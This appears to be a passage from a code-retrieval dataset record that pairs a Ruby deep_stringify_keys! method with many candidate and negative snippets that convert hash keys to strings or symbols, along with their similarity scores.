"def join_keys(hash, parent_keys = [])\n hash.inject([]) do |keys, (key, value)|\n full_key = parent_keys + [key]\n if value.is_a?(Hash)\n keys += join_keys(value, full_key)\n elsif !value.nil?\n keys << [full_key.join('.'), parse_value(value)]\n end\n keys\n end\n end",
"def hashie_stringify_keys!\n keys.each do |k|\n self[k.to_s] = delete(k) unless String === k\n end\n self\n end",
"def keys_to_strs(event)\n return event unless event.is_a? Hash\n\n out = {}\n\n event.each do |key, value|\n out[key.to_s] = keys_to_strs value\n end\n\n out\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete key\n end\n self\n end",
"def sanitize_keys(hash)\n new_hash = Hash.new\n hash.each do |key,value|\n sanitized_key = key.downcase.tr(\" \", \"_\")\n\n if value.is_a? Hash\n new_hash[sanitized_key] = sanitize_keys(value)\n else\n new_hash[sanitized_key] = value\n end\n end\n return new_hash\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def deep_transform_keys(&block); end",
"def deep_transform_keys!(&block); end",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def recursively_transform_keys(&block)\n _recursively_transform_keys_in_object(self, &block)\n end",
"def symbolize_keys_recursively!(object); end",
"def coerce_symbolized_hash(hash, recursive = false)\n hash = not_nil_hash!(hash)\n symbolized = {}\n hash.each_pair{|k,v| \n if recursive and v.kind_of?(Hash)\n v = coerce_symbolized_hash(v)\n end\n symbolized[coerce_name(k)] = v\n }\n symbolized\n end",
"def stringify_hash hash, options = {}\n (raise ExpectationFailedError.new(\"stringify_hash called without a hash\")) unless hash.is_a?(Hash)\n hash.inject({}) do |result, (k,v)|\n key = options[:downcase] ? k.to_s.downcase : k.to_s\n if v.is_a?(Hash) then\n result[key] = stringify_hash(v)\n elsif v.is_a?(Regexp) && options[:rewrite_regex] then\n result[key] = v.inspect[1..-2]\n else\n result[key] = v\n end\n result\n end\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def hashie_stringify_keys\n dup.stringify_keys!\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def recursive_symbolize(obj)\n obj.reduce({}) do |memo, (k, v)|\n if v.is_a? Hash\n memo[k.to_sym] = recursive_symbolize(v)\n else\n memo[k.to_sym] = openssl_opt_from_string(v)\n end\n memo\n end\n end",
"def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end",
"def deep_camelize_keys\n deep_transform_keys { |key| key.to_s.camelize(:lower) }\n end",
"def keys_to_sym clean: false\n self.inject({}){|memo,(k,v)| memo[clean ? k.to_s.to_clean_sym : k.to_s.to_sym] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_sym(clean:clean) : v); memo}\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end"
] |
[
"0.72633404",
"0.71566606",
"0.70636654",
"0.7050045",
"0.6997724",
"0.6990818",
"0.69707817",
"0.69549423",
"0.69386655",
"0.69386655",
"0.69386655",
"0.69386655",
"0.68764436",
"0.68764436",
"0.68065816",
"0.6724441",
"0.6686069",
"0.6684792",
"0.66827816",
"0.6652935",
"0.6652196",
"0.6652196",
"0.6652196",
"0.664377",
"0.6633033",
"0.66162574",
"0.6600805",
"0.6600805",
"0.6600805",
"0.65850735",
"0.65816605",
"0.65430593",
"0.65243185",
"0.65160257",
"0.6499015",
"0.6490209",
"0.6482695",
"0.6451372",
"0.64350915",
"0.638495",
"0.6371704",
"0.63554657",
"0.63410103",
"0.6313056",
"0.6302056",
"0.6286083",
"0.62520504",
"0.62042046",
"0.61704844",
"0.61682236",
"0.616738",
"0.6126449",
"0.6126449",
"0.61198837",
"0.6067764",
"0.60660297",
"0.605308",
"0.605308",
"0.605308",
"0.60390806",
"0.600503",
"0.5993689",
"0.5947664",
"0.59467226",
"0.5944",
"0.5942944",
"0.5933447",
"0.59215456",
"0.58843845",
"0.58843845",
"0.58843845",
"0.58843845",
"0.5855725",
"0.58380187",
"0.58370507",
"0.5835126",
"0.5833634",
"0.58215165",
"0.58215165",
"0.58215165",
"0.58196455",
"0.5818019",
"0.5790526",
"0.5790526",
"0.5790526",
"0.5790526",
"0.5790526",
"0.5790526",
"0.5790526",
"0.5790526",
"0.57873654",
"0.57820237",
"0.5779733",
"0.5774412",
"0.5773559",
"0.57728153",
"0.57728153",
"0.5762212",
"0.5762212",
"0.5762212"
] |
0.68121076
|
14
|
Same as deep_stringify_keys, but destructively alters the original Hash.
|
def deep_stringify_keys!
deep_transform_keys! { |key| key.to_s }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def deep_stringify_keys(hash)\n transform_hash(hash, :deep => true) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_stringify_keys(value) if value.is_a?(Hash)\n result[key.to_s] = value\n result\n }\n end",
"def deep_stringify_keys\n deep_transform_keys { |key| key.to_s }\n end",
"def stringify_keys!\n keys.each{|k| \n v = delete(k)\n self[k.to_s] = v\n v.stringify_keys! if v.is_a?(Hash)\n v.each{|p| p.stringify_keys! if p.is_a?(Hash)} if v.is_a?(Array)\n }\n self\n end",
"def stringify_keys(hash)\n hash.keys.each do |key|\n hash[key.to_s] = hash.delete(key)\n end\n\n hash.values.select{ |v| v.is_a?(Hash) }.each do |h| \n stringify_keys(h)\n end\n hash\n end",
"def stringify_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_s] = v.is_a?(Hash) ? v.stringify_keys : v }\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys\n dup.stringify_keys!\n end",
"def hashie_stringify_keys\n dup.stringify_keys!\n end",
"def stringify_keys!(hash)\n hash.keys.each {|key| hash[key.to_s] = hash.delete(key)}\n end",
"def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end",
"def stringify_hash_keys(hash); end",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def stringify_keys!(hash)\n transform_keys!(hash){ |key| key.to_s }\n end",
"def hashie_stringify_keys!\n keys.each do |k|\n self[k.to_s] = delete(k) unless String === k\n end\n self\n end",
"def deeply_stringify_keys(obj)\n deep_key_stringifier.call( obj )\n end",
"def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def symbolize_keys_deep!(h)\n if Hash == h\n Hash[\n h.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys_deep!(v)]\n end\n ]\n else\n h\n end\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value| \n hash[key.to_s] = value\n }\n end",
"def stringify_keys_recursively!(object); end",
"def stringify_keys!\n replace stringify_keys\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_s] = v }\n end",
"def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n\t\t\tself.each do |k,v|\n\t\t\t\tnext if k.kind_of? String\n\t\t\t\tself[k.to_s] = v\n\t\t\t\tself.delete k\n\t\t\tend\n\t\tend",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_hash_keys hash\n Hash[hash.map { |(k, v)| [k.to_s, v] }]\n end",
"def stringify_keys\n reduce({}) { |hsh,(k,v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys!(hash)\n map_keys!(hash, Transproc(:to_string).fn)\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def stringify_keys!\n transform_keys!{ |key| key.to_s }\n end",
"def deep_stringify(hsh)\n hsh.each do |key, value|\n if value.kind_of?(Hash)\n deep_stringify(value)\n elsif value.kind_of?(Symbol)\n hsh.delete[key]\n hsh[key.to_s] = value.to_s\n end\n end\n\n hsh\n end",
"def recursively_stringify_key\n recursively_transform_keys { |key| key.to_s rescue key }\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete key\n end\n self\n end",
"def stringify_keys\n transform_keys(&:to_s)\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end",
"def stringify_keys # :nodoc:\n dup\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def symbolize_hash_keys(hash); end",
"def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def symbolize_hash(hash)\n HashKeys.deep_symbolize_keys(hash)\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def stringify_keys!\r\n keys.each do |key|\r\n self[key.to_s] = delete(key)\r\n end\r\n self\r\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def to_normal_hash(hash)\n hash.to_h.transform_keys(&:to_sym)\n end",
"def symbolize_keys_deep(hash)\n return hash unless hash.is_a?(Hash)\n\n Hash[hash.map do |key, value|\n # if value is array, loop each element and recursively symbolize keys\n if value.is_a? Array\n value = value.map { |element| symbolize_keys_deep(element) }\n # if value is hash, recursively symbolize keys\n elsif value.is_a? Hash\n value = symbolize_keys_deep(value)\n end\n\n [symbolize_key(key), value]\n end]\n end",
"def stringify_keys!; self end",
"def stringify_keys!; self end",
"def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end",
"def keys_to_s!(recursive: true)\n replace(keys_to_s(recursive: recursive))\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| v.is_a?(Hash) ? [k.to_sym, symbolize_keys(v)] : [k.to_sym, v] }]\nend",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[\n hash.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys(v)]\n end\n ]\n else\n hash\n end\n end",
"def symbolize_keys(hash)\n case hash\n when Array\n hash.map { |v| symbolize_keys(v) }\n when Hash\n Hash[hash.map { |k, v| [k.to_sym, symbolize_keys(v)] }]\n else\n hash\n end\n end",
"def stringify_keys\n inject({}) do |options, (key, value)|\n options[(key.to_s rescue key) || key] = value\n options\n end\n end",
"def stringify_keys\n transform_keys { |key| key.to_s rescue key }\n end",
"def keys_to_s\n self.inject({}){|memo,(k,v)| memo[k.to_s] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_s : v); memo}\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def stringify_keys; end",
"def stringify_keys; end",
"def stringify_keys; end",
"def keys_to_s(recursive: true)\n each_with_object({}) do |(k, v), memo|\n memo[k.to_s] = recursive && v.respond_to?(:keys_to_sym) ? v.keys_to_s : v\n end\n end",
"def symbolize_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v }\n end",
"def symbolize_keys_recursively!(object); end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end"
] |
[
"0.86015433",
"0.85657835",
"0.8476922",
"0.8421899",
"0.8348552",
"0.831608",
"0.831608",
"0.8256514",
"0.81885153",
"0.80194205",
"0.78287435",
"0.78104407",
"0.78015244",
"0.78015244",
"0.78015244",
"0.77969253",
"0.7758662",
"0.7617578",
"0.7515673",
"0.74928087",
"0.747303",
"0.747303",
"0.747303",
"0.747303",
"0.73837465",
"0.73837465",
"0.73733544",
"0.7359511",
"0.7337104",
"0.73060954",
"0.730137",
"0.7299756",
"0.7271457",
"0.7258648",
"0.72533417",
"0.71736133",
"0.7163253",
"0.7154786",
"0.71425104",
"0.71425104",
"0.71425104",
"0.70796365",
"0.7075486",
"0.7075486",
"0.7075486",
"0.7054742",
"0.70290077",
"0.7004225",
"0.6998267",
"0.6998267",
"0.6987694",
"0.69519573",
"0.695079",
"0.69456506",
"0.6934991",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6902912",
"0.6895113",
"0.6875532",
"0.68668395",
"0.6853509",
"0.6852657",
"0.6849181",
"0.6795415",
"0.6780946",
"0.67667127",
"0.67650974",
"0.67650974",
"0.67631614",
"0.6754",
"0.6754",
"0.6754",
"0.6749954",
"0.67434007",
"0.67294437",
"0.67294437",
"0.6712086",
"0.66853476",
"0.6679634",
"0.6652823",
"0.6652323",
"0.6643041",
"0.6642419",
"0.6629278",
"0.6609872",
"0.6599477",
"0.65985364",
"0.659682",
"0.659682",
"0.659682",
"0.65813893",
"0.6561331",
"0.65580976",
"0.6556889"
] |
0.8360348
|
4
|
Recursively turns all Hash keys into symbols and returns the new Hash.
|
def deep_symbolize_keys
deep_transform_keys { |key| key.to_sym rescue key }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then\n key.to_sym\n else\n key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else\n value\n end\n result[new_key] = new_value\n result\n }\n end",
"def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end",
"def deep_symbolize(hsh, &block)\n hsh.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = deep_symbolize(value, &block) if value.is_a? Hash\n # Recursively deep-symbolize subarrays\n value = deep_symbolize_array(value, &block) if value.is_a? Array\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end",
"def symbolize_keys hsh\n new_hsh = Hash.new\n\n hsh.each_pair do |k,v|\n v = symbolize_keys v if v.is_a?(Hash)\n new_hsh[k.downcase.to_sym] = v\n end\n\n new_hsh\n end",
"def keys_to_symbols(hash)\n hash.map do |k, v|\n [\n k.to_sym,\n case v\n when Hash\n keys_to_symbols(v)\n when Array\n v.map { |x| x.is_a?(Hash) ? keys_to_symbols(x) : x }\n else\n v\n end\n ]\n end.to_h\nend",
"def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end",
"def recursively_symbolize_keys\n recursively_transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_hash_keys(hash); end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end",
"def symbolize_keys_recursively!(object); end",
"def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v }\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def symbolize_all_keys!\n self.keys.map do |key|\n if self[key].is_a? Hash\n self[key].symbolize_all_keys!\n elsif self[key].is_a? Array\n # Find hashes to sort in the array.\n self[key].each do |v|\n v.symbolize_all_keys! if v.is_a? Hash\n end\n end\n self[key.to_sym] = self.delete(key)\n end\n self\n end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys_deep!(h)\n if Hash == h\n Hash[\n h.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys_deep!(v)]\n end\n ]\n else\n h\n end\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[\n hash.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys(v)]\n end\n ]\n else\n hash\n end\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def keys_to_symbols(hash)\n\t\thash.keys.inject({}) do |hsh, key|\n\t\t\thsh[key.to_sym] = hash[key]\n\t\t\thsh\n\t\tend\n\tend",
